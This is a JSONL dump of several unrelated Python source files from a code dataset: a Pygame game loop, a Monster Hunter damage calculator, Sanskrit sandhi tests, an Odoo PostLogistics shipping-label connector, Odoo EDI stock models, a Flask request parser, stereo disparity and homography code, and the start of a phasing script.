nave.actualizar_posicion(m_settings)\n fj.actualizar_balas(m_settings, screen, nave, marcianitos, balas, stats, hud)\n fj.actualizar_flota(m_settings, stats, screen, balas, marcianitos, nave, hud)\n fj.actualizar_pantalla(m_settings, screen, nave, marcianitos, balas, boton, stats, hud)\n\nrun_game()\n","sub_path":"marcianitos.py","file_name":"marcianitos.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"178225724","text":"#Formulas de calculo foram retiradas de https://gamefaqs.gamespot.com/psp/943356-monster-hunter-freedom-unite/faqs/53339\n#Para facilitar o cálculo, alguns modificadores foram pré-definidos, mas como resultado o dano final é menos preciso\n#Vale lembrar que o dano final também varia com buffs e o tamanho do fio empregam papeis importantes no dano final\n#Como fiz esse código a muito tempo, algumas partes não lembrarei bem\nataque = float(input(\"Atk: \"))\n#Representa o ataque básico da arma, quanto de dano base ela tem\ntipo = 0.33\n#Tipo representa o tipo de ataque da arma, que no caso esse é o primero corte com a espada ao pressionar Triângulo\nprint(\"Verde [1]\\nAzul [2]\\nBranco [3]\\nRoxo [4]\")\nfio = 0\n#Esse imput pede o nível de afiação da arma\nsharp = input(\"Sharp: \")\nif sharp == \"1\":\n fio = 1.125\nif sharp == \"2\":\n fio = 1.25\nif sharp == \"3\":\n fio = 1.30\nif sharp == \"4\":\n fio = 1.50\nd = 0.40\n#d é a hitzone a ser atacada\ne = 1.0\n#e é o modificador de defesa do monstro\nf = 1.0\n#f é modificador de rage do monstro\ng = 1.05\n#g é a variável de dano da longsword, cada arma tem o seu, mude caso desece calcular o dano de outro tipo de arma\nh = 4.8\n#h é o multiplicador da classe da arma\nr = (ataque*tipo*fio*d*e*f*g)/h\n#Formula de dano fisico\nprint(\"Raw: %.2f\" %r)\n\ns = float(input(\"Element: \"))\n#Dano elemental da arma\nt = 0\n#variável pra verificar a afiação da arma\nif sharp == \"1\":\n t = 1.0\nif sharp == \"2\":\n t = 1.0625\nif sharp == \"3\":\n t = 1.25\nif sharp == \"4\":\n t = 1.20\nu = float(0.20)\n#Fraqueza ao elemento da area a ser atingida\nv = float(1.05)\n#modificador da longsword\nr2 = (s*t*u*v)/10\n#calculo dano elemental\nprint(\"\")\nprint(\"\")\nprint(\"Raw: %.2f\" %r)\n#Dano fisico\nprint(\"Element: %.2f\" %r2)\n#dano elemental\nfinal = (r+r2)\nprint(\"Total: %.2f \" % final)\n#dano final","sub_path":"atk.py","file_name":"atk.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"399429677","text":"'''\nCreated on Jul 7, 2017\n\n@author: alvarna\n'''\nimport pytest\nimport codecs\nimport os\nimport inspect\nfrom sanskrit_parser.lexical_analyzer.sandhi import Sandhi\nfrom sanskrit_parser.base.SanskritBase import SanskritObject, DEVANAGARI, SLP1\nimport logging\nimport re\n\n# logging.basicConfig(filename=\"sandhi.log\", filemode = \"wb\", level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\n@pytest.fixture(scope=\"module\")\ndef sandhiobj():\n return Sandhi()\n\ndef test_sandhi_join(sandhiobj, sandhi_reference):\n objs = map(lambda x:SanskritObject(x, encoding = SLP1), (sandhi_reference[0]))\n joins = sandhiobj.join(*objs)\n assert sandhi_reference[1] in joins\n\ndef test_sandhi_split(sandhiobj, sandhi_reference):\n obj = SanskritObject(sandhi_reference[1], encoding=SLP1)\n# splits = set()\n# start = len(sandhi_reference[0][0]) - 2\n# stop = min(len(sandhi_reference[0][0])+1, len(sandhi_reference[1]))\n# for i in range(start, stop):\n# for i in range(len(sandhi_reference[1])):\n# split = sandhiobj.split_at(obj, i)\n# if split:\n# assert splits.isdisjoint(split)\n# splits |= split\n splits = sandhiobj.split_all(obj)\n assert sandhi_reference[0] in splits\n\ndef load_reference_data():\n sandhi_references = []\n base_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n directory = os.path.join(base_dir, \"sandhi_test_data\")\n for filename in os.listdir(directory):\n if filename.endswith(\".txt\"):\n sandhi_references.extend(load_reference_data_from_file(os.path.join(directory, filename)))\n return sandhi_references\n\ndef load_reference_data_from_file(filename):\n sandhi_references = []\n basename = os.path.basename(filename)\n logger.debug(\"Processing tests from file %s\", basename)\n with codecs.open(filename, \"rb\", 'utf-8') as f:\n for linenum, line in enumerate(f):\n line = line.strip()\n if line.startswith('#') or line == '':\n continue\n ref = SanskritObject(line).transcoded(SLP1)\n if \"=>\" in line:\n after, b = map(unicode.strip, ref.split(\"=>\"))\n elif \"=\" in line:\n b, after = map(unicode.strip, ref.split(\"=\"))\n else:\n continue\n before = map(unicode.strip, b.split('+'))\n #before = map(lambda x: re.sub(\"\\W+\", \"\", x), b.split('+'))\n if len(before) == 2:\n before[0] = re.sub(\"\\W+\", \"\", before[0])\n before[1] = re.sub(\"\\W+\", \"\", before[1])\n after = re.sub(\"\\W+\", \"\", after)\n sandhi_references.append((tuple(before), after, basename, linenum+1))\n# print sandhi_references\n return sandhi_references\n\ndef pytest_generate_tests(metafunc):\n if 'sandhi_reference' in metafunc.fixturenames:\n sandhi_references = load_reference_data()\n metafunc.parametrize(\"sandhi_reference\", sandhi_references)\n","sub_path":"tests/test_sandhi.py","file_name":"test_sandhi.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"446725419","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# Author: Yannick Vaucher\n# Copyright 2013 Camptocamp SA\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\nimport re\nfrom suds.client import Client, WebFault\nfrom suds.transport.http import HttpAuthenticated\nfrom PIL import Image\nfrom StringIO import StringIO\n\nfrom openerp.osv import orm\nfrom openerp.tools.translate import _\n\n_compile_itemid = re.compile('[^0-9A-Za-z+\\-_]')\n\n\nclass PostlogisticsWebService(object):\n \"\"\" Connector with PostLogistics for labels using post.ch Web Services\n\n Handbook available here: http://www.poste.ch/post-barcode-cug.htm\n\n Allows to generate labels\n\n \"\"\"\n\n def __init__(self, company):\n self.init_connection(company)\n\n def init_connection(self, company):\n t = HttpAuthenticated(\n username=company.postlogistics_username,\n password=company.postlogistics_password)\n self.client = Client(\n company.postlogistics_wsdl_url,\n transport=t)\n\n def _send_request(self, request, **kwargs):\n \"\"\" Wrapper for API requests\n\n :param request: callback for API request\n :param **kwargs: params forwarded to the callback\n\n \"\"\"\n res = {}\n try:\n res['value'] = request(**kwargs)\n res['success'] = True\n except WebFault as e:\n res['success'] = False\n res['errors'] = [e[0]]\n except Exception as e:\n # if authentification error\n if isinstance(e[0], tuple) and e[0][0] == 401:\n raise orm.except_orm(\n _('Error 401'),\n _('Authorization Required\\n\\n'\n 'Please verify postlogistics username and password in:\\n'\n 'Configuration -> Postlogistics'))\n raise\n return res\n\n def _get_language(self, lang):\n \"\"\" Return a language to iso format from openerp format.\n\n `iso_code` field in res.lang is not mandatory thus not always set.\n Use partner language if available, otherwise use english\n\n :param partner: partner browse record\n :return: language code to use.\n\n \"\"\"\n available_languages = self.client.factory.create('ns0:Language')\n lang_code = lang.split('_')[0]\n if lang_code in available_languages:\n return lang_code\n return 'en'\n\n def read_allowed_services_by_franking_license(self, license, company,\n lang=None):\n \"\"\" Get a list of allowed service for a postlogistics licence \"\"\"\n if not lang:\n lang = company.partner_id.lang\n lang = self._get_language(lang)\n request = self.client.service.ReadAllowedServicesByFrankingLicense\n return self._send_request(request, FrankingLicense=license, Language=lang)\n\n def read_service_groups(self, company, lang):\n \"\"\" Get group of services \"\"\"\n if not lang:\n lang = company.partner_id.lang\n lang = self._get_language(lang)\n request = self.client.service.ReadServiceGroups\n return self._send_request(request, Language=lang)\n\n def read_basic_services(self, company, service_group_id, lang):\n \"\"\" Get basic services for a given service group \"\"\"\n if not lang:\n lang = company.partner_id.lang\n lang = self._get_language(lang)\n request = self.client.service.ReadBasicServices\n return self._send_request(request, Language=lang,\n ServiceGroupID=service_group_id)\n\n def read_additional_services(self, company, service_code, lang):\n \"\"\" Get additional services compatible with a basic services \"\"\"\n if not lang:\n lang = company.partner_id.lang\n lang = self._get_language(lang)\n request = self.client.service.ReadAdditionalServices\n return self._send_request(request, Language=lang, PRZL=service_code)\n\n def read_delivery_instructions(self, company, service_code, lang):\n \"\"\" Get delivery instruction 'ZAW' compatible with a base service \"\"\"\n if not lang:\n lang = company.partner_id.lang\n lang = self._get_language(lang)\n request = self.client.service.ReadDeliveryInstructions\n return self._send_request(request, Language=lang, PRZL=service_code)\n\n def _prepare_recipient(self, picking):\n \"\"\" Create a ns0:Recipient as a dict from a partner\n\n :param partner: partner browse record\n :return a dict containing data for ns0:Recipient\n\n \"\"\"\n partner = picking.partner_id\n\n recipient = {\n 'Name1': partner.name,\n 'Street': partner.street,\n 'ZIP': partner.zip,\n 'City': partner.city,\n 'Country': partner.country_id.code,\n 'EMail': partner.email or None,\n }\n\n if partner.street2:\n recipient['AddressSuffix'] = partner.street2\n\n if partner.parent_id:\n recipient['Name2'] = partner.parent_id.name\n recipient['PersonallyAddressed'] = False\n\n # Phone and / or mobile should only be diplayed if instruction to\n # Notify delivery by telephone is set\n is_phone_required = [option for option in picking.option_ids\n if option.code == 'ZAW3213']\n if is_phone_required:\n if partner.phone:\n recipient['Phone'] = partner.phone\n\n if partner.mobile:\n recipient['Mobile'] = partner.mobile\n\n return recipient\n\n def _prepare_customer(self, picking):\n \"\"\" Create a ns0:Customer as a dict from picking\n\n This is the Postlogistic Customer, thus the sender\n\n :param picking: picking browse record\n :return a dict containing data for ns0:Customer\n\n \"\"\"\n company = picking.company_id\n partner = company.partner_id\n\n customer = {\n 'Name1': partner.name,\n 'Street': partner.street,\n 'ZIP': partner.zip,\n 'City': partner.city,\n 'Country': partner.country_id.code,\n 'DomicilePostOffice': company.postlogistics_office,\n }\n logo_format = None\n logo = company.postlogistics_logo\n if logo:\n logo_image = Image.open(StringIO(logo.decode('base64')))\n logo_format = logo_image.format\n customer['Logo'] = logo\n customer['LogoFormat'] = logo_format\n return customer\n\n def _get_single_option(self, picking, option):\n option = [opt.code for opt in picking.option_ids\n if opt.postlogistics_type == option]\n assert len(option) <= 1\n return option and option[0]\n\n def _get_label_layout(self, picking):\n label_layout = self._get_single_option(picking, 'label_layout')\n if not label_layout:\n company = picking.company_id\n label_layout = company.postlogistics_default_label_layout.code\n return label_layout\n\n def _get_output_format(self, picking):\n output_format = self._get_single_option(picking, 'output_format')\n if not output_format:\n company = picking.company_id\n output_format = company.postlogistics_default_output_format.code\n return output_format\n\n def _get_image_resolution(self, picking):\n resolution = self._get_single_option(picking, 'resolution')\n if not resolution:\n company = picking.company_id\n resolution = company.postlogistics_default_resolution.code\n return resolution\n\n def _get_license(self, picking):\n \"\"\" Get the license\n\n Take it from carrier and if not defined get the first license\n depending on service group. This needs to have associated \n licenses to groups.\n\n :return: license number\n \"\"\"\n license = picking.carrier_id.postlogistics_license_id\n if not license:\n company_licenses = picking.company_id.postlogistics_license_ids\n group = picking.carrier_id.postlogistics_service_group_id\n if not company_licenses or not group:\n return None\n group_license_ids = [l.id for l in group.postlogistics_license_ids]\n if not group_license_ids:\n return None\n license = [l for l in company_licenses\n if l.id in group_license_ids][0]\n return license.number\n\n def _prepare_attributes(self, picking):\n services = [option.code.split(',') for option in picking.option_ids\n if option.tmpl_option_id.postlogistics_type\n in ('basic', 'additional', 'delivery')]\n\n attributes = {\n 'PRZL': services,\n }\n return attributes\n\n def _get_itemid(self, picking, pack_no):\n \"\"\" Allowed characters are alphanumeric plus `+`, `-` and `_`\n Last `+` separates picking name and package number (if any)\n\n :return string: itemid\n\n \"\"\"\n name = _compile_itemid.sub('', picking.name)\n if pack_no:\n pack_no = _compile_itemid.sub('', pack_no)\n codes = [name, pack_no]\n return \"+\".join(c for c in codes if c)\n\n def _prepare_item_list(self, picking, recipient, attributes, trackings):\n \"\"\" Return a list of item made from the pickings \"\"\"\n item_list = []\n for pack in trackings:\n name = pack.name if pack else picking.name\n itemid = self._get_itemid(picking, name)\n item = {\n 'ItemID': itemid,\n 'Recipient': recipient,\n 'Attributes': attributes,\n }\n\n item_list.append(item)\n\n return item_list\n\n def _prepare_data(self, item_list):\n sending = {\n 'Item': item_list,\n }\n provider = {\n 'Sending': sending\n }\n data = {\n 'Provider': provider,\n }\n return data\n\n def _prepare_envelope(self, picking, post_customer, data):\n \"\"\" Define envelope for label request \"\"\"\n label_layout = self._get_label_layout(picking)\n output_format = self._get_output_format(picking)\n image_resolution = self._get_image_resolution(picking)\n\n label_definitions = {\n 'LabelLayout': label_layout,\n 'PrintAddresses': 'RecipientAndCustomer',\n 'ImageFileType': output_format,\n 'ImageResolution': image_resolution,\n 'PrintPreview': False,\n }\n license = self._get_license(picking)\n file_infos = {\n 'FrankingLicense': license,\n 'PpFranking': False,\n 'CustomerSystem': 'OpenERP',\n 'Customer': post_customer,\n }\n\n envelope = {\n 'LabelDefinition': label_definitions,\n 'FileInfos': file_infos,\n 'Data': data,\n }\n return envelope\n\n def generate_label(self, picking, trackings, user_lang='en_US'):\n \"\"\" Generate a label for a picking\n\n :param picking: picking browse record\n :param user_lang: OpenERP language code\n :param trackings: list of browse records of trackings to filter on\n :return: {\n value: [{item_id: pack id\n binary: file returned by API\n tracking_number: id number for tracking\n file_type: str of file type\n }\n ]\n errors: list of error message if any\n warnings: list of warning message if any\n }\n\n \"\"\"\n # get options\n lang = self._get_language(user_lang)\n post_customer = self._prepare_customer(picking)\n\n attributes = self._prepare_attributes(picking)\n\n recipient = self._prepare_recipient(picking)\n item_list = self._prepare_item_list(picking, recipient, attributes,\n trackings)\n data = self._prepare_data(item_list)\n\n envelope = self._prepare_envelope(picking, post_customer, data)\n\n output_format = self._get_output_format(picking).lower()\n\n res = {'value': []}\n request = self.client.service.GenerateLabel\n response = self._send_request(request, Language=lang,\n Envelope=envelope)\n\n if not response['success']:\n return response\n error_messages = []\n warning_messages = []\n for item in response['value'].Data.Provider.Sending.Item:\n if hasattr(item, 'Errors') and item.Errors:\n for error in item.Errors.Error:\n message = '[%s] %s' % (error.Code, error.Message)\n error_messages.append(message)\n else:\n file_type = output_format if output_format != 'spdf' else 'pdf'\n res['value'].append({\n 'item_id': item.ItemID,\n 'binary': item.Label,\n 'tracking_number': item.IdentCode,\n 'file_type': file_type,\n })\n\n if hasattr(item, 'Warnings') and item.Warnings:\n for warning in item.Warnings.Warning:\n message = '[%s] %s' % (warning.Code, warning.Message)\n warning_messages.append(message)\n\n if error_messages:\n res['errors'] = error_messages\n if warning_messages:\n res['warnings'] = warning_messages\n return res\n","sub_path":"delivery_carrier_label_postlogistics/postlogistics/web_service.py","file_name":"web_service.py","file_ext":"py","file_size_in_byte":14347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"653689438","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# Copyright (C) 2015 Comunitea Servicios Tecnológicos All Rights Reserved\n# $Omar Castiñeira Saaevdra $\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published\n# by the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\nfrom openerp import models, fields, api\nimport openerp.addons.decimal_precision as dp\n\n\nclass StockPackOperationSscc(models.Model):\n\n _name = \"stock.pack.operation.sscc\"\n\n name = fields.Char()\n type = fields.Selection(((\"1\", \"Palet\"), (\"2\", \"Complete\"), (\"3\", \"package\")))\n parent = fields.Many2one(\"stock.pack.operation.sscc\")\n operation_ids = fields.Many2many(\n \"stock.pack.operation\", \"operation_sscc_rel\", \"sscc_id\", \"operation_id\"\n )\n child_ids = fields.One2many(\"stock.pack.operation.sscc\", \"parent\")\n\n\nclass StockPackOperation(models.Model):\n\n _inherit = \"stock.pack.operation\"\n\n sscc_ids = fields.Many2many(\n \"stock.pack.operation.sscc\", \"operation_sscc_rel\", \"operation_id\", \"sscc_id\"\n )\n\n @api.multi\n def get_package_qty(self, type, move_id=False):\n \"\"\"\n Se calcula la cantidad que va dentro de un bulto.\n \"\"\"\n if type == \"1\":\n return int(sum([x.qty for x in self.linked_move_operation_ids]))\n elif type == \"2\":\n return int(self.product_id.box_elements)\n else:\n if move_id:\n qty = sum([x.qty for x in self.linked_move_operation_ids if x.move_id == move_id])\n else:\n qty = sum([x.qty for x in self.linked_move_operation_ids])\n return int(qty - (\n self.product_id.box_elements * self.complete\n ))\n\n\nclass StockMove(models.Model):\n\n _inherit = \"stock.move\"\n\n price_subtotal_gross = fields.Float(\n compute=\"_get_total\",\n string=\"Subtotal gross\",\n digits=dp.get_precision(\"Account\"),\n readonly=True,\n store=True,\n multi=True,\n )\n price_total = fields.Float(\n compute=\"_get_total\",\n string=\"Total\",\n digits=dp.get_precision(\"Account\"),\n readonly=True,\n store=True,\n multi=True,\n )\n\n @api.multi\n @api.depends(\"product_id\", \"product_uom_qty\", \"procurement_id.sale_line_id\")\n def _get_total(self):\n\n for move in self:\n price_unit = 0.0\n price_unit_net = 0.0\n if move.procurement_id.sale_line_id:\n price_unit = move.procurement_id.sale_line_id.price_unit\n price_unit_net = move.procurement_id.sale_line_id.price_unit * (\n 1 - (move.procurement_id.sale_line_id.discount or 0.0) / 100.0\n )\n else:\n continue\n\n move.price_subtotal_gross = price_unit * move.product_uom_qty\n taxes = move.procurement_id.sale_line_id.tax_id.compute_all(\n price_unit_net,\n move.product_uom_qty,\n move.product_id,\n move.procurement_id.sale_line_id.order_id.partner_id,\n )\n move.price_total = taxes[\"total_included\"]\n\n\nclass StockPicking(models.Model):\n _inherit = \"stock.picking\"\n\n channel_name = fields.Char(\n \"Channel name\", related=\"sale_channel_id.name\", readonly=True\n )\n edi_desadv = fields.Boolean(\n \"Edi Desadv\", related=\"partner_id.edi_desadv\", readonly=True\n )\n\n @api.model\n def _invoice_create_line(self, moves, journal_id, inv_type=\"out_invoice\"):\n res = super(StockPicking, self)._invoice_create_line(\n moves, journal_id, inv_type\n )\n if self.env.context.get(\"split_invoice_lines\", False):\n for invoice in self.env[\"account.invoice\"].browse(res):\n for line in invoice.invoice_line:\n if line.move_id.linked_move_operation_ids:\n if len(line.move_id.linked_move_operation_ids) > 1:\n for operation in line.move_id.mapped(\n \"linked_move_operation_ids.operation_id\"\n ):\n line.copy(\n {\n \"quantity\": operation.product_qty,\n \"lot_id\": operation.lot_id.id,\n }\n )\n line.unlink()\n else:\n line.lot_id = (\n line.move_id.linked_move_operation_ids.operation_id.lot_id.id\n )\n return res\n\n @api.multi\n def print_package_tag_report(self):\n self.ensure_one()\n custom_data = {\n \"pick_id\": self.id,\n }\n rep_name = \"asperience_edi.package_tag_report\"\n rep_action = self.env[\"report\"].get_action(self, rep_name)\n rep_action[\"data\"] = custom_data\n return rep_action\n\n @api.multi\n def print_palet_tag_report(self):\n self.ensure_one()\n custom_data = {\n \"pick_id\": self.id,\n }\n rep_name = \"asperience_edi.palet_tag_report\"\n rep_action = self.env[\"report\"].get_action(self, rep_name)\n rep_action[\"data\"] = custom_data\n return rep_action\n\n @api.multi\n def print_eci_report(self):\n self.ensure_one()\n custom_data = {\n \"pick_id\": self.id,\n }\n rep_name = \"asperience_edi.corte_ingles_report\"\n rep_action = self.env[\"report\"].get_action(self, rep_name)\n rep_action[\"data\"] = custom_data\n return rep_action\n\n @api.model\n def _get_invoice_vals(self, key, inv_type, journal_id, move):\n inv_vals = super(StockPicking, self)._get_invoice_vals(\n key, inv_type, journal_id, move\n )\n sale = move.picking_id.sale_id\n if sale and inv_type in (\"out_invoice\", \"out_refund\"):\n inv_vals.update(\n {\n \"customer_order\": sale.partner_id.id,\n \"customer_payer\": sale.customer_payer.id,\n \"customer_department\": sale.customer_department,\n }\n )\n return inv_vals\n\n\nclass StockInvoiceOnshipping(models.TransientModel):\n\n _inherit = \"stock.invoice.onshipping\"\n\n split_invoice_lines = fields.Boolean()\n\n @api.multi\n def create_invoice(self):\n return super(\n StockInvoiceOnshipping,\n self.with_context(split_invoice_lines=self.split_invoice_lines),\n ).create_invoice()\n","sub_path":"project-addons/asperience_edi/models/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":7324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"425279715","text":"\"\"\"Module Parser responsible for parsing data from request\"\"\"\nfrom functools import wraps\nfrom typing import Dict\nfrom flask_restful import reqparse\n\n\nclass Parser:\n\n attributes: Dict[str, str]\n\n def __init__(self):\n self.__request_parser = reqparse.RequestParser()\n self.__request_parser.add_argument(\n 'text',\n location='json',\n type=str,\n help='Text must be provided!',\n required=True\n )\n\n @property\n def request_parser(self):\n return self.__request_parser\n\n @staticmethod\n def validate_attributes(func):\n @wraps(func)\n def decorator(*args, **kwargs):\n parser = Parser()\n Parser.attributes = parser.request_parser.parse_args()\n\n return func(*args, **kwargs)\n return decorator\n","sub_path":"common/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"239702711","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.ndimage import filters\r\n\r\n\r\ndef disparity_help(img_l: np.ndarray,img_r: np.ndarray, disp_range: (int, int), k_size: int) -> (np.ndarray,np.ndarray,np.ndarray,np.ndarray,np.ndarray):\r\n\r\n height, width = img_r.shape\r\n disp_map = np.zeros((height, width, disp_range[1]))\r\n\r\n mean_left = np.zeros((height, width))\r\n mean_right = np.zeros((height, width))\r\n\r\n # calc average of our window using uniform_filter\r\n filters.uniform_filter(img_l, k_size, mean_left)\r\n filters.uniform_filter(img_r, k_size, mean_right)\r\n\r\n norm_left = img_l - mean_left # normalized left image\r\n norm_right = img_r - mean_right # normalized right image\r\n\r\n return disp_map, mean_left, mean_right, height, width, norm_left, norm_right\r\n\r\n\r\ndef disparitySSD(img_l: np.ndarray, img_r: np.ndarray, disp_range: (int, int), k_size: int) -> np.ndarray:\r\n \"\"\"\r\n img_l: Left image\r\n img_r: Right image\r\n range: Minimum and Maximum disparity range. Ex. (10,80)\r\n k_size: Kernel size for computing the SSD, kernel.shape = (k_size*2+1,k_size*2+1)\r\n\r\n return: Disparity map, disp_map.shape = Left.shape\r\n \"\"\"\r\n disp_map, mean_left, mean_right, height, width, norm_left, norm_right = disparity_help(img_l,img_r, disp_range,k_size)\r\n\r\n for i in range(disp_range[1]):\r\n rImg_shift = np.roll(norm_right, i) # moving i element to the front\r\n filters.uniform_filter(norm_left * rImg_shift, k_size, disp_map[:, :, i])\r\n disp_map[:, :, i] = disp_map[:, :, i] ** 2 # (Li-Ri)^2\r\n\r\n res = np.argmax(disp_map, axis=2) # taking best depth\r\n return res\r\n pass\r\n\r\n\r\ndef disparityNC(img_l: np.ndarray, img_r: np.ndarray, disp_range: (int, int), k_size: int) -> np.ndarray:\r\n \"\"\"\r\n img_l: Left image\r\n img_r: Right image\r\n range: Minimun and Maximum disparity range. Ex. (10,80)\r\n k_size: Kernel size for computing the SSD, kernel.shape = (k_size*2+1,k_size*2+1)\r\n\r\n return: Disparity map, disp_map.shape = Left.shape\r\n \"\"\"\r\n disp_map, mean_left, mean_right, height, width, norm_left, norm_right = disparity_help(img_l,img_r, disp_range,k_size)\r\n\r\n sigma_l = np.zeros((height, width))\r\n sigma_r = np.zeros((height, width))\r\n sigma = np.zeros((height, width))\r\n\r\n # Calculate the average of each pixel in a (k_size)^2 window\r\n filters.uniform_filter(norm_left * norm_left, k_size, sigma_l)\r\n\r\n for i in range(disp_range[1]):\r\n rImg_shift = np.roll(norm_right, i-disp_range[0]) # moving i element to the front\r\n filters.uniform_filter(norm_left * rImg_shift, k_size, sigma) # calc sigma using uniform_filter\r\n filters.uniform_filter(rImg_shift * rImg_shift, k_size, sigma_r) # calc sigma r using uniform_filter\r\n sqr = np.sqrt(sigma_r * sigma_l)\r\n disp_map[:, :, i] = sigma / sqr\r\n\r\n ans = np.argmax(disp_map, axis=2) # taking best depth\r\n return ans\r\n\r\n\r\ndef computeHomography(src_pnt: np.ndarray, dst_pnt: np.ndarray) -> (np.ndarray, float):\r\n \"\"\"\r\n Finds the homography matrix, M, that transforms points from src_pnt to dst_pnt.\r\n returns the homography and the error between the transformed points to their\r\n destination (matched) points. Error = np.sqrt(sum((M.dot(src_pnt)-dst_pnt)**2))\r\n\r\n src_pnt: 4+ keypoints locations (x,y) on the original image. Shape:[4+,2]\r\n dst_pnt: 4+ keypoints locations (x,y) on the destenation image. Shape:[4+,2]\r\n\r\n return: (Homography matrix shape:[3,3],\r\n Homography error)\r\n \"\"\"\r\n\r\n A = np.zeros((2 * len(src_pnt), 9)) # A is (2n x 9) mat\r\n for pos in range(len(src_pnt)):\r\n # In each iteration we fill 2 rows.\r\n # src_pnt [pos] [0] is Xi and dst_pnt [pos] [0] is 'Xi\r\n # Same for Yi and 'Yi (for example- opposite [pos][0] to [0][pos] )\r\n A[pos * 2:pos * 2 + 2] = np.array([[-src_pnt[pos][0], -src_pnt[pos][1], -1, 0, 0, 0,\r\n src_pnt[pos][0] * dst_pnt[pos][0], src_pnt[pos][1] * dst_pnt[pos][0], dst_pnt[pos][0]],\r\n [0, 0, 0, -src_pnt[pos][0], -src_pnt[pos][1], -1,\r\n src_pnt[pos][0] * dst_pnt[pos][1],src_pnt[pos][1] * dst_pnt[pos][1], dst_pnt[pos][1]]])\r\n\r\n u, s, vh = np.linalg.svd(A, full_matrices=True)\r\n V = np.transpose(vh) # vh^T\r\n\r\n H = V[:, -1].reshape(3, 3)\r\n H /= V[:, -1][-1]\r\n\r\n err = 0\r\n for pos in range(len(src_pnt)):\r\n Homogeneous = H.dot(np.array([src_pnt[pos, 0], src_pnt[pos, 1], 1]))\r\n Homogeneous /= Homogeneous[2]\r\n err += np.sqrt(sum(Homogeneous[0:-1] - dst_pnt[pos]) ** 2)\r\n\r\n return H, err\r\n pass\r\n\r\n\r\n\r\ndef warpImag(src_img: np.ndarray, dst_img: np.ndarray) -> None:\r\n \"\"\"\r\n Displays both images, and lets the user mark 4 or more points on each image. Then calculates the homography and transforms the source image on to the destination image. Then transforms the source image onto the destination image and displays the result.\r\n\r\n src_img: The image that will be 'pasted' onto the destination image.\r\n dst_img: The image that the source image will be 'pasted' on.\r\n\r\n output:\r\n None.\r\n \"\"\"\r\n\r\n dst_p = []\r\n fig1 = plt.figure()\r\n\r\n def onclick_1(event):\r\n x = event.xdata\r\n y = event.ydata\r\n print(\"Loc: {:.0f},{:.0f}\".format(x, y)) # print to the console the locations\r\n\r\n plt.plot(x, y, '*r') # '*r' colored the chosen point\r\n dst_p.append([x, y]) # adding the chosen points to the dst_p array\r\n\r\n if len(dst_p) == 4: # caz we need 4 points to compute homography\r\n plt.close()\r\n plt.show()\r\n\r\n # display image 1\r\n cid = fig1.canvas.mpl_connect('button_press_event', onclick_1)\r\n plt.imshow(dst_img)\r\n plt.show()\r\n dst_p = np.array(dst_p)\r\n\r\n ##### Your Code Here ######\r\n srcPoints = []\r\n secFig = plt.figure()\r\n\r\n def onclick_2(event):\r\n x = event.xdata\r\n y = event.ydata\r\n print(\"Loc: {:.0f},{:.0f}\".format(x, y)) # print to the console the locations\r\n\r\n plt.plot(x, y, '*r') # '*r' colored the chosen point\r\n srcPoints.append([x, y]) # adding the chosen points to the dst_p array\r\n\r\n if len(srcPoints) == 4: # caz we need 4 points to compute homography\r\n plt.close()\r\n plt.show()\r\n\r\n # display image 2\r\n cid_sec = secFig.canvas.mpl_connect('button_press_event', onclick_2)\r\n plt.imshow(src_img)\r\n plt.show()\r\n srcPoints = np.array(srcPoints)\r\n\r\n src0 = src_img.shape[0]\r\n src1 = src_img.shape[1]\r\n homography, err = computeHomography(srcPoints, dst_p)\r\n for Yi in range(src0):\r\n for Xi in range(src1):\r\n A_h = np.array([Xi, Yi, 1])\r\n A_h = homography.dot(A_h) # inner product between homography matrix and [Xi, Yi, 1]\r\n A_h /= A_h[2] # div the second row\r\n dst_img[int(A_h[1]), int(A_h[0])] = src_img[Yi, Xi]\r\n\r\n plt.imshow(dst_img)\r\n plt.show()\r\n pass\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"ex4_utils.py","file_name":"ex4_utils.py","file_ext":"py","file_size_in_byte":7077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"596570850","text":"import numpy as np\nimport sys, os\nimport re\nimport copy\n\nimport phasing\nimport phasing.utils as utils\n\nfrom mpi4py import MPI\n\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nsize = comm.Get_size()\n\ndef config_iters_to_alg_num(string):\n # split a string like '100ERA 200DM 50ERA' with the numbers\n steps = re.split('(\\d+)', string) # ['', '100', 'ERA ', '200', 'DM ', '50', 'ERA']\n \n # get rid of empty strings\n steps = [s for s in steps if len(s)>0] # 